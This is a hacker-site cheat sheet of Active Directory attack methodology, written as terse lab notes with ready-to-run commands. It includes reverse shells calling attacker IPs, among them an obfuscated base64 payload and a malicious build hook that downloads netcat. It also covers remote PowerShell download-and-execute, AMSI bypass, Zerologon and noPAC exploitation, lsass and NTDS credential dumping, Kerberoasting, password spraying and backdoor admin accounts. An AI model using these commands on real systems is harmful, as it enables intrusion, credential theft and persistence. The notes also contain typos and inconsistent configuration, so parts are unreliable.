Red Nexus
RED NEXUS
By hackers for hackers
Active Directory Methodology

CAPE - Active Directory Attack Methodology

A hands-on Active Directory engagement path - from domain enumeration and credential attacks through ACL/DACL abuse, AD CS escalation, lateral movement, persistence and cross-forest trust exploitation, with ready-to-run commands.

8
Phases
26
Techniques
78
Commands
5
PoC images
⚠️
Authorized testing only. This reference is for use against Active Directory environments you own or are explicitly permitted to assess.
01

Fundamentals & Access

Lab notes, engagement roadmap, ways in, and network position.

4
00notes1 cmd
The authentication service reply (AS-REP) is encrypted with the account’s password, and anyone on the network can request it.
AS-REPRoasting is similar to Kerberoasting but involves attacking AS-REP instead of TGS-REP.

get system user with:
.\PsExec -accepteula -s -i powershell


may be user x inside protected users then ntlm authentication is blocked and all operations with this account required kerberos then :
sudo nano /etc/krb5.conf
[libdefaults]
    default_realm = HERCULES.HTB
    dns_lookup_realm = false
    dns_lookup_kdc  = false
    ticket_lifetime = 24h
    forwardable = yes
    noaddresses = true

[realms]
    LOGGING.HTB = {
        kdc = 10.129.242.196
        admin_server = 10.129.242.196
    }

[domain_realm]
    .logging.htb = HERCULES.HTB
    logging.htb  = HERCULES.HTB
------------------------------------------------skew the clock------------------------
python3 -c "
import ldap3, datetime
s = ldap3.Server('10.129.23.117', get_info=ldap3.ALL)
c = ldap3.Connection(s, auto_bind=True)
print(s.info.other['currentTime'])
print('Local:', datetime.datetime.utcnow())"
-------------------------------------------------------------------------------------
 netexec smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt
STATUS_NOT_SUPPORTED means that NTLM auth is disabled. netexec also shows this as “NTLM:False
- Then Use Kerberos : 
 netexec smb 10.10.11.76 -u ryan.naylor -p HollowOct31Nyt -k 

---------------------------------------------------------------------------------------

found backup.mdb then use : 
mdb-tables backup.mdb | tr ' ' '\n' | grep . | while read table; do lines=$(mdb-export backup.mdb $table | wc -l); if [ $lines -gt 1 ]; then echo "$table: $lines"; fi; done

if found .exe file running with dotNet then use dotPeek application as decompiler 



SeServiceLogonRight  means the user can tgtdel as service as : Rubeus.exe tgtdeleg /nowrap ((((((SEIMPERsonate -> use runasCS tool)
Servuce take seimpersonate by default => would appear if you logged with username and password
iex(iwr -uri http://10.10.14.9:1000/Invoke-RunasCs.ps1 -UseBasicParsing)
PS C:\Users\svc_sql> Invoke-RunasCs -Username svc_sql -Password '0xdf0xdf.' -LogonType 5 -BypassUAC -Command 'whoami /priv'
nc -nlvp 1234 
Invoke-RunasCs -Username svc_sql -Password '0xdf0xdf.' -LogonType 5 -BypassUAC -Command powershell.exe -Remote 10.10.14.9:1234
.\GodPotato-NET4.exe -cmd "cmd /c net user hacker Password123! /add && net localgroup administrators hacker /add"

if got ticket from Rubeus.exe s4u /impersonateuser:administrator
1- take ticket and remove spaces => https://www.browserling.com/tools/remove-all-whitespace
sed -i 's/\s\s\+/\n/g' cert.pem
2- put the ticket inside ticket.kirbi.b64
3- b64 -d ticket.kirbi.b64 > ticket.kirbi
4- ticketConverter.py ticket.kirbi ticket.ccache
5- KRB5CCNAME=ticket.ccache psexec.py support.htb/administrator@dc.support.htb -k -no-pass


$ nano svc_sql.kirbi.b64
$ cat svc_sql.kirbi.b64 | base64 -d > svc_sql.kirbi
$ impacket-ticketConverter svc_sql.kirbi svc_sql.ccache

http service: can connect with evil-winrm
host : winrs 
cifs : psexec , ls 

to know the domain controller for domain : nltest /dsgetdc:lab.local 
but with linux # dig SRV _ldap._tcp.dc._msdcs.breach.vl @10.129.40.223

smbclient //STMIP/NETLOGON -U julio%'SecurePassJul!08' --directory WaynesScripts -c "put logonScript.bat"

crackmapexec smb demo.ine.local -u Administrator -p 'sebastian' -x 'mshta.exe <your_generated_payload> (Eg. "http://10.10.0.2:8080/RHfz3BgwVlSPhta")’

------------------------------------------------------------------
in meterpreter 
session -i 1 
load kiwi
load incognito
list_tokens -u 
impersonate_token "NT AUTHORITY\SYSTEM"
creds_all

------------------------------------------------------------------


all commands : https://wadcoms.github.io
enum4linux 10.10.10.1
# to get domain name 
netexec smb 10.10.10.1 
add domain and DC.domain to /etc/hosts 
if you got username and password for smb 
smbclient -L //10.10.10.1/ -U username
smbclient //10.10.10.1/share -U username
> RECURSE ON
> PROMPT OFF
>  mget *
-----------------------------------------------------------------
as-rep preauthentication 
impacket-GetNPUsers htb.local/ -dc-ip 10.129.95.210
impacket-GetUserSPNs htb.local/user:password -dc-ip 10.129.95.210 -request
----------------------------------------------------------------
if found 5985 open then winrm - evil-winrm 
evil-winrm -i 10.10.10.1 -u username -p 'password'

if you can upload bloodhound through evil-winrm then internal bloodhound or :
# bloohound.py -c All -u username -p 'password' -ns 10.10.10.1 -d domain.local -dc dcomain.local --zip 

# wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.158 | grep ^[0-9] | cut -d '/' -f 1 | tr
'\n' ',' | sed s/,$//)
nmap  nmap -p$ports -sC -sV 10.10.11.158

found smb open then 
netexec smb 10.10.10.1 -u username -p 'password' -L 
found module to enable rdp 
nxc smb 10.10.10.1 -u username -p 'password' -M rdp -o ACTION=enable

to scan snmp  => nmap -sU -p161
search for snmapwalk cheetsheet

bruteforce smb 
------------------------------------------
Found Tomcat then => msfconsole => use tomcat login => bruteforce password
then file upload => use multi/http/tomcat_mgr_upload 
----------------------------------------------------------------------
to know what other object permissions over user1
dsacls.exe "cn=user1,cn=Users,dc=domain,dc=local"
to know what hossam's  permissions over user1
dsacls.exe "cn=user1,cn=Users,dc=domain,dc=local"  | Select-String "hossam" -Context 0,3

### to know the permissions of hossam over user1
$sid = ConvertTo-SID hossam
Get-ObjectACl -Identity user1 -ResolveGUIDs  | ? {$_.SecurityIdentifier -eq $sid }




to sync the time between you and the target before running attacks 
sudo ntpdate STMIP
------------------------------------------------------------

may be the host we are attacking or forest is dhcp , so we should add 
hossamshady@htb[/htb]$ cat /etc/resolv.conf 

# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)
#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN
# 127.0.0.53 is the systemd-resolved stub resolver.
# run "resolvectl status" to see details about the actual nameservers.

#nameserver 1.1.1.1
#nameserver 8.8.8.8
domain INLANEFREIGHT.LOCAL              ##### add that line and comment previous
nameserver 172.16.5.5


found .psafe3 then :
# hashcat -a 0 -m 5200 Backup.psafe3 /usr/share/wordlists/rockyou.txt
then download : https://sourceforge.net/projects/passwordsafe/files/latest/download and open the file

to decrypt Firefox database passwords from key4.db 
wget https://raw.githubusercontent.com/lclevy/firepwd/master/firepwd.py
wget https://raw.githubusercontent.com/lclevy/firepwd/master/requirements.txt
pip3 install -r requirements.txt
- then collect firefox files in the same folder then 
python3 filepwd.py 

if found ansible vault 
sed -i 's/^[ \t]*//' vault1.txt
ansible2john valut1.txt
hashcat -m 16900 vault_hashes /usr/share/wordlists/rockyou.txt
pip install ansible-vault
cat vault1.txt | ansible-vault decrypt



------------------------------------------------------
الكود hardcoded في كذا حتة:
host = '192.168.72.231'
port = 9221
LPORT=1337 داخل الـ shellcode
system("nc %s 1337"%host)
أقل تعديل عملي:
import sys

host = sys.argv[1]
port = 9221
bind_port = 1337
وتشغله كده:
python2 exploit.py TARGET_IP
بس خد بالك:
لو هتغير 1337 لازم تولّد shellcode جديد:
msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=1337 -f py -b '\x02'
غير الـ buf بالكود الجديد.
الأفضل للاب:
python2 exploit.py 192.168.x.x
وبعدها لو مش فتح تلقائيًا:
nc -nv 192.168.x.x 1337
وخليك فاكر: ده Python2 exploit، مش Python3.----------------------------------------------------------------------------------------------------











add computer with linux : 
impacket-addcomputer authority.htb/svc_ldap:'lDaP_1n_th3_cle4r!' \
  -computer-name ATTACKBOX$ \
  -computer-pass Pass123!
  

if failed to authenticate with .pfx then you can use cert and key as : 
git clone https://github.com/AlmondOffSec/PassTheCert.git
cd PassTheCert
cp ../administrator_authority.pfx .
can leave blank password
sudo openssl pkcs12 -in administrator_authority.pfx -nocerts -nodes -out administrator.key
sudo openssl pkcs12 -in administrator_authority.pfx -clcerts -nokeys -out administrator.crt
sudo python3 ./Python/passthecert.py -dc-ip 10.129.229.56 -crt administrator.crt -key administrator.key -domain authority.htb -port 636 -action write_rbcd -delegate-to 'AUTHORITY$' -delegate-from 'ATTACKBOX$'

Convert Pem to pfx : 
sed -i 's/\s\s\+/\n/g' cert.pem
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
.\Rubeus.exe asktgt /domain:eagle.local /user:Administrator /certificate:cert.pfx /dc:dc1.eagle.local /ptt


impacket-getST -spn 'cifs/AUTHORITY.authority.htb' -impersonate Administrator
'authority.htb/EVIL01$:Str0ng3st_P@ssw0rd!'

export KRB5CCNAME=Administrator.ccache

impacket-secretsdump -k -no-pass
impacket-secretsdump -just-dc-user Administrator -k   -dc-ip 172.16.20.1   -target-ip 172.16.20.1   dc01.darkzero.htb
authority.htb/Administrator@authority.authority.htb -just-dc-ntlm


if ntlm is disabled then we can use 
python3 ad-ldap-enum.py -dn scrm.local -dc-ip 10.129.193.2 -u ksimpson -p ksimpson -v


---------------------------------------------------
Found Submit your repo : 
1- git clone https://github.com/hgmauri/sample-dotnet6
2- nano sample-dotnet6/src/Sample.DotNet6.Api/Sample.DotNet6.Api.csproj
<Project Sdk="Microsoft.NET.Sdk.Web">
<PropertyGroup>
<TargetFramework>net6.0</TargetFramework>
<LangVersion>preview</LangVersion>
<PreBuildEvent>powershell.exe -c "curl http://10.10.14.44:8080/nc64.exe -o
C:/Windows/Tasks/nc.exe; C:/Windows/Tasks/nc.exe 10.10.14.44 9001 -e powershell"
</PreBuildEvent>
</PropertyGroup>
<SNIP>

sudo a2enmod cgi
sudo a2enmod alias
sudo a2enmod env
sudo service apache2 restart
sudo mkdir /var/www/html/git-repos
sudo chown -R www-data:www-data /var/www/html/git-repos

Finally, we append the following configuration to the Apache2 configuration file, located at
/etc/apache2/apache2.conf and restart the service.

ScriptAlias /git/ /usr/lib/git-core/git-http-backend/
SetEnv GIT_PROJECT_ROOT /var/www/html/git-repos
SetEnv GIT_HTTP_EXPORT_ALL
Options +ExecCGI
AddHandler cgi-script .cgi
DirectoryIndex gitweb.cgi
<Directory /usr/lib/git-core>
Require all granted
</Directory>

sudo service apache2 restart

cp -R sample-dotnet6 /var/www/html/git-repos
cd /var/www/html/git-repos/sample-dotnet6
git init
git add .
git config --global user.email "amra@visual.htb"
git commit -m "Initial commit"

python3 -m http.server 8080
rlwrap nc -lvnp 9001

then put link: http://10.10.14.44/git/sample-dotnet6

--------------------------------------------------------
Found file called lib/ExifToolWrapper.php => lab Meta
git clone https://github.com/convisolabs/CVE-2021-22204-exiftool
cd CVE-2021-22204-exiftool

nano exploit.py => change the ip to your ip and then nc -nlvp 9090 

pspy => tool to monitor linux processes without root permissions 
https://github.com/DominicBreuker/pspy

python3 -c 'import pty;pty.spawn("/bin/bash")'

sudo -u scriptmanager bash -i 

--------------------------------------------------------------------------------
echo 'bash -i >& /dev/tcp/YOUR_IP/5555 0>&1' > /tmp/shell.sh
cd /tmp && python3 -m http.server 8080

python3 CVE-2025-47812.py -u http://ftp.wingdata.htb \
        -c "curl http://YOUR_IP:8080/shell.sh|bash" -v


open reverse shell via : 
javascript: 
fetch("http://localhost:5000/routines/" + encodeURIComponent("a[$(echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK | base64 -d | bash)]"));

if need zip file then : 




ifcreate --name basel 
interface_add_route --name base --route 10.10.10.0/24

interface_add_Route --name basel --route 10.10.10.0/24

iflist 
start --tun basel 
01roadmap1 cmd
The domain functional level
The domain password policy
A full inventory of AD users
A full inventory of AD computers
A full inventory of AD groups and memberships
Domain trust relationships
Object ACLs
Group Policy Objects (GPO) information
Remote access rights
02ways Of Connect1 cmd
## null session from windows 
> net use \\DC01\ipc$ "" /u:""

PsExec => creates remote service by uploading executable to $ADMIN 
and connect to it with rpc
> psexec.py inlanefreight.local/wley:'transporter'@172.16.5.125  

if failed any way : 
getTGT.py -dc-ip rustykey.htb rustykey.htb/'rr.parker':'8#t5HE8L!W3A'


wmi does not upload executable files and less intrusion (every command with new cmd shell)
when checking the logs , just finding new cmd session created not new malware
> wmiexec.py inlanefreight.local/wley:'transporter@4'@172.16.5.5  

can use powershell to make web Delivery 
1- suer got access to windows device 
2- go to hacker linux and #msfconsole 
3- use exploit/multi/script/web_delivery
- set payload windows/x64/meterpreter/reverse_tcp
set LHOST PWNIP
set SRVHOST PWNIP
set TARGET 2
exploit
4- take command and put it in windows device 
- ps 
- getpid
- migrate <winlogin.exe pid>
-----------------------------------------------------------------------
can run responder -i eth0 -wrfv      # to steal users hash 
03MITM attack1 cmd
Can Perform Man in the Middle Attack over LLMNR and NBNS 
# uv run ntlm_theft.py -g all -s 10.10.14.16 -f test
- upload all files in shared file between many users 
# sudo uv run Responder.py -I tun0
# responder -I eth0
windows> Invoke-Inviegh 

# hashcat -m 5600 -w 3 hash.txt ./rockyou.txt
-------------------------------------------------------------------------------
ssh-keygen -f /tmp/rootkey -N ""
cat /tmp/rootkey.pub

mkdir -p /var/www/xxxxxxxxxx/uploads/.ssh
ln -sf /root/.ssh/authorized_keys /var/www/xxxxxxxxxxx/uploads/.ssh/authorized_keys



 

cron job:

cat /etc/crontab

ls /etc/cron*

ls /var/spool/cron/crontabs/

02

Enumeration

Map the domain: users, shares, Kerberos, delegation and certificate exposure.

1
04Enumeration16 cmds
share
https://github.com/darkoperator/Veil-PowerView/blob/master/PowerView/functions/Invoke-ShareFinder.ps1
Invoke-ShareFinder -domain eagle.local -ExcludeStandard -CheckShareAccess
- go to share location and then : 
findstr /m /s /i "pass" *.bat
findstr /m /s /i "pass" *.cmd
findstr /m /s /i "pass" *.ini
findstr /m /s /i "pass" *.config
- log file 
C:\inetpub\logs\LogFiles\W3SVC1
Searching For Users
enumerate users :
ldapsearch -x -H ldap://10.129.232.128 -b "DC=SEQUEL,DC=htb" "(objectClass=user)" | grep sAMAccountName: | cut -f2 -d" "
smbclient -L //10.10.10.1/ -N 
netexec smb 10.10.10.1 -u 'Guest' -p '' --shares --users
# windapsearch -u "" --dc-ip 10.10.10.172 -m --admin-objects
(search for domain admins)
# windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
(search for privileged Users)
# windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
 
#impacket-lookupsid 'cicada.htb/guest'@cicada.htb -no-pass | grep 'SidTypeUser' | sed 's/.*\\\(.*\) (SidTypeUser)/\1/' > users.txt

 
impacket-lookupsid Guest@10.129.7.91
rpcclient -U '' 10.10.10.1 
$> enumdomsuers
$> querydispinfo 

Bruteforce usernames using kbrute , 
https://github.com/insidetrust/statistically-likely-usernames (smith)
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt -t 40

can gather all usernames from linkedin : 
https://github.com/initstring/linkedin2username

### to choose the format of creating users from file of first name and last name
./username-anarchy --input-file fullnames.txt --select-format
first,flast,first.last,firstl > unames.txt

-------------------------------------------------------
## search for users with SPN 
> Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

--------------------------------------------------------
search for computers : 
netexec smb 10.129.203.121 -u robert -p Inlanefreight01! --computers

search for LAPS 
netexec smb 10.129.203.121 -u robert -p Inlanefreight01! -M laps

rid-brute 
netexec smb 10.129.203.121 -u robert -p Inlanefreight01! --rid-brute
netexec smb 10.129.8.236 -u "Guest" -p '' --rid-brute | grep "SidTypeUser" | cut -d "\\" -f2 | cut -d " " -f1

groups
netexec smb 10.129.203.121 -u robert -p Inlanefreight01! --groups

group member
netexec smb 10.129.203.121 -u robert -p Inlanefreight01! --groups Administrator

trusted for delegation: 
netexec ldap dc01.inlanefreight.htb -u robert -p Inlanefreight01! --trusted-for-delegation

admin count: 
netexec ldap dc01.inlanefreight.htb -u robert -p Inlanefreight01! --admin-count
 
enumerate accounts with gMSA (manage passwords, delegate to other accounts , manage SPN)
netexec winrm dc01.inlanefreight.htb -u robert -p Inlanefreight01! -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"

read gMSA passwords: (if you are authentitecated from previous example)
netexec ldap dc01.inlanefreight.htb -u engels -p Inlanefreight1998! --gmsa

know who are administrators :
netexec smb 10.129.204.133 -u Administrator -p 'AnotherC0mpl3xP4$$' --local-auth -x "net localgroup administrators" 

if we tried to execute command -x whoami with normal username and failed then 
UAC is enabled so to disable it , need administrator credentials :

netexec smb 10.129.204.133 -u Administrator -p 'AnotherC0mpl3xP4$$' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
-------------------------------------------------------------
try to bypass amsi with netexec :
wget https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/shantanukhande-amsi.ps1 -q
echo "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.33/shantanukhande-amsi.ps1');" > amsibypass.txt
sudo python3 -m http.server 80

netexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -X '$PSVersionTable' --amsi-bypass amsibypass.txt

-----------------------------------------------------
try to extract -sam -ntds -lsa => -ntds --user krbtgt 
netexec smb 172.16.1.10 -u robert -p 'Inlanefreight01!' --ntds 
netexec smb 172.16.1.10 -u robert -p 'Inlanefreight01!' --lsa
- crack lsa 
hashcat -m 2100 hashes.txt /usr/share/wordlists/rockyou.txt

dump lsass : 
netexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M lsassy
netexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M procdump
netexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M handlekatz
netexec smb 10.129.204.133 -u robert -p 'Inlanefreight01!' -M nanodump
Password Spraying
Password Spraying : 
for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 | grep Authority; done
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt  Welcome1
sudo netexec smb 172.16.5.5 -u valid_users.txt -p Password123 | grep +
 
 Local Administrator Spraying : 
 sudo crackmapexec smb --local-auth 172.16.5.0/23 -u administrator -H 88ad09182de639ccc6579eb0849751cf | grep +
 
 
Password123!
Pxetesting01
Welcome01$
Using net & dsquery
cmdkey /list 
if found any stored data inside credential manager then :
nc -nvlp 443
python3 -m http.server 1000 
add that line to Invoke-PowershellTcp.ps1 => Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.199 -Port 443 and then 
runas /user:ACCESS\Administrator /savecred "powershell iex(new-object net.webclient).downloadstring('http://10.10.14.199:1000/Invoke-PowerShellTcp.ps1')"
----------------------------------------------------------

can use net1 instead of net
net accounts
net accounts / domain
net group /domain            (information about domain groups)
net group "Domain Admins" /domain          (list accounts inside group)
net groups /domain           (list all domain groups)
net localgroup
net localgroup Administrators
net localgroup Administrators [username] /add
net share
net user /domain
net user <ACCOUNT_NAME> /domain
net use x: \computer\share      (mount the share locally)
net view                        (list all computers)
net view \computer /ALL         (List shares of a computer)
net view /domain                 (List of PCs of the domain)

----------------------------------------------------
dsquery user
dsquery computer
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

searching for DC 
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

searching for PASSWD_NOTREQD  (As-Reproasting)
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl 
Test-AdminAccess
once you got username , then check local admin devices that you can access 
> Find-LocalAdminAccess -Verbose 
> Enter-PSSession -ComputerName <device_name.domain.local>
/// can use Find-DomainUserLocation /// to check admin access over domain devices 
/// also use -CheckAccess option as /// Find-DomainUserLocation -CheckAccess
/// -Stealth 

>>>> Invoke-SessionHunter /// to check domain access over devices and get users of devices
Kerberosting
#################### From Linux ###########
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request 
# GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs
# hashcat -m 13100 sqldev_tgs /usr/share/wordlists/rockyou.txt 

crackmapexec ldap dc01.inlanefreight.htb -u grace -p 'Inlanefreight01!' --kerberoasting kerberoasting.out
 netexec ldap BREACHDC.breach.vl -u Julia.Wong -p Computer1 --kerberoast kerberoasting
 
 
check credentials :
# sudo crackmapexec smb 172.16.5.5 -u sqldev -p database!

---------------------------------------------------
################# PowerView for Kerberosting #################

Import-Module .\PowerView.ps1
Get-DomainUser * -spn | select samaccountname
Get-DomainUser -Identity sqldev | Get-DomainSPNTicket -Format Hashcat

C:\> . .\PowerView.ps1 
C:\> Invoke-Kerberoast

################### Rebeus For Kerberosting ###########
- to know the wether accounts support RC4 ($krb5tgs$23$*) or AES($krb5tgs$18$*)
.\Rubeus.exe kerberoast /stats
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap

##### can enforce KDC to Send TGS over RC4 not AES (not supported in server 2019)
.\Rubeus.exe kerberoast /tgtdelg /user:testspn /nowrap

.\Rubeus.exe kerberoast /nowrap

also we can check msDS-SupportedEncryptionTypes if 0 then RC4 , if 24 then AES256
> Get-DomainUser testspn -Properties samaccountname,serviceprincipalname,msds-supportedencryptiontypes
hashcat -m 13100 => RC4 ($krb5tgs$23$*)
hashcat -m 19700 => AES256 ($krb5tgs$18$*)


if we found DONT_REQ_PREAUTH account(amber.smith) then we can use it to 
get Kerberoasting without username or password : 
Rubeus.exe kerberoast /nopreauth:amber.smith /domain:inlanefreight.local 
/spn:MSSQLSvc/SQL01:1433 /nowrap


Instead of /spn we can use /spns:listofspn.txt to try multiple SPNs. 




####### From Windows ############
> setspn.exe -Q */*

##########need to target only services of normal users not machines ### :
> Add-Type -AssemblyName System.IdentityModel
>  New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DEV-PRE-SQL.inlanefreight.local:1433"
> setspn.exe -T INLANEFREIGHT.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
### to know service account owner username #### 
setspn.exe -Q */* | Select-String -Pattern "vmware/inlanefreight.local" -Context 1

## the above commands loaded tickets inside memory and then we need to extract them 
> mimikatz.exe
# base64 /out:true
# kerberos::list /export 
 
cat encoded_file | base64 -d > sqldev.kirbi

## we need to crack .kirbi 
> python2.7 kirbi2john.py sqldev.kirbi
> sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
> hashcat -m 13100 sqldev_tgs_hashcat /usr/share/wordlists/rockyou.txt 
check For Reversable Passwords
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
runas /netonly /user:INLANEFREIGHT\adunn powershell
.\mimikatz.exe
# lsadump::dcsync /user:INLANEFREIGHT\username
senstive places
check for cpassword in sysVOL scripts gpp_password 
# ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
/Policies/{UUID}/Machine/Preferences/Registry/Registry.xml
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_autologin
once you found any cpassword then 
# gpp-decrypt VPe/o9YRyz2cksnYRbNeQj35w9KxQ5ttbvtRaAVqxaE
-----------------------------------------------------------
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
PS C:\Users\bob\Downloads> Import-Module .\Get-GPPPassword.ps1
PS C:\Users\bob\Downloads> Get-GPPPassword


--------------------------------------------------------
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! -M gpp_password
crackmapexec smb 10.129.203.121 -u grace -p Inlanefreight01! -M gpp_autologin
AS-proasting
searching for PASSWD_NOTREQD  (As-Reproasting)
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl 
-------------------------
netexec ldap dc01.inlanefreight.htb -u users.txt -p '' --asreproast asreproast.out
-------------------------
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol

Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol | fl
.\Rubeus.exe asreproast  /nowrap /format:hashcat /outfile:hashes.txt /domain:inlanefreight.local /dc:dc01.inlanefreight.local

################## from linux ######################

GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_ad_users 
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 /opt/jsmith.txt 

hashcat -m 18200 ilfreight_asrep /usr/share/wordlists/rockyou.txt 

########### Presistance Via AS-REPRoasting #####################
if you have GenericAll then you can set AS-REP for account: 
Set-DomainObject -Identity userName -XOR @{useraccountcontrol=4194304} -Verbose
get-ForginGroupmembers
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Convert-SidToName <sid>
edit hash format
if the hash was wrapped then we can use 
# echo '<hash>' | tr -d "[:space:]" > tgs_file
check Known Vulnerablitilies
- ZeroLogon : (CVE-2020-1472) (reset password for DC$ , get ntds 
netexec smb 172.16.10.3 -M Zerologon
git clone https://github.com/dirkjanm/CVE-2020-1472 -q
cd CVE-2020-1472/
python3 cve-2020-1472-exploit.py dc01 172.16.10.3 
crackmapexec smb 172.16.10.3 -u 'DC01$' -p '' --ntds

- PetitPotam
netexec smb 172.16.10.3 -M PetitPotam

-noPAC (privilege escalation)
netexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M nopac
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator 

- DFSCoerce : enforce user to connect: 
netexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M dfscoerce
POC : https://github.com/Wh04m1001/DFSCoerce (run script and Responder)

- ShadowCoerce: (enforce user to connect)
netexec smb 172.16.10.3 -u carole.holmes -p 'Y3t4n0th3rP4ssw0rd' -M shadowcoerce
https://github.com/ShutdownRepo/ShadowCoerce

- Eternal Blue (MS17-010 Vulnerability Check)
crackmapexec smb 172.16.10.3 -M ms17-010
Delegation Enumeration
Unconstrained Delegation
in Unconstrained Delegation For Machines : 
.\Rubeus.exe monitor /nowrap /interval:5 
and then take TGT and try to get tgs with :
.\Rubeus.exe  renew /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /ptt

or try to get TGS for CIFS of dc
.\Rubeus.exe asktgs /ticket:doIFmTCCBZWgAwIBBaE<SNIP>LkxPQ0FM /service:cifs/dc01.INLANEFREIGHT.local /ptt
dir \\dc01.inlanefreight.local\c$

#################### when trying to catch users with Delegation
Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
######## in linux ######## 
 ldapsearch -LLL -x -H ldap://10.129.205.35 \
-D "carole.rose@inlanefreight.local" -w jasmine \
-b "DC=INLANEFREIGHT,DC=LOCAL" \
"(userAccountControl:1.2.840.113556.1.4.803:=524288)" sAMAccountName

=====> get victim user unconstrained delegation 
git clone -q https://github.com/dirkjanm/krbrelayx.git; cd krbrelayx

try to create Fake DNS Record: roguecomputer.Inlangefreight.local with 
hacker's ip 10.10.14.2 with (DC ip)
dnstool.py -u INLANEFREIGHT.LOCAL\\pixis -p p4ssw0rd -r roguecomputer.INLANEFREIGHT.LOCAL 
-d <hacker_ip> --action add <Domain_Controller_IP> 
nslookup roguecomputer.inlanefreight.local <ip_of_DC>
		
		(((((( add SPN to victim account ))))))))
		(Compromised Account Should Have GenericWrite over victim)
		(pixis has GenericWrite over victim) 
		
python addspn.py -u inlanefreight.local\\pixis -p p4ssw0rd \
--target-type samname -t victim -s CIFS/roguecomputer.inlanefreight.local <ip_DC>

> if we have password for the victim we can get ntlm of victim
iconv -f ASCII -t UTF-16LE <(printf "PASS_OF_Victim") | openssl dgst -md4

- - then put ntlm of the service account to decrypt the TGS 
sudo python krbrelayx.py -hashes :cf3a5525ee9414229e66279623ed5c58

coerce victim user to login 
python3 printerbug.py inlanefreight.local/pixis:<password>@<DC-IP> roguecomputer.inlanefreight.local

- it would save file :
export KRB5CCNAME=./DC01\$@INLANEFREIGHT.LOCAL_krbtgt@INLANEFREIGHT.LOCAL.ccache
secretsdump.py -k -no-pass dc01.inlanefreight.local
Constrained Delegation
/// can use script https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/Get-ConstrainedDelegation.ps1 
 Import-Module C:\Tools\PowerView.ps1
 Import-Module C:\Tools\Get-ConstrainedDelegation.ps1
 Get-ConstrainedDelegation
 Get-ConstrainedDelegation -CheckOrphaned
 
 
Get-DomainComputer -TrustedToAuth 
then search for TRUSTED_TO_AUTH_FOR_DELEGATION UAC attribute
Get-DomainComputer -TrustedToAuth

then use mimikatz to dump the ntlm for the machine : 
mimikatz.exe "sekurlsa::msv" "exit"

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:www/WS01.inlanefreight.local /altservice:HTTP /user:DMZ01$ /rc4:ff955e93a130f5bb1a6565f32b7dc127 /ptt
Enter-PSSession WS01.inlanefreight.local 
-------------------------------------------------------
From Linux : 
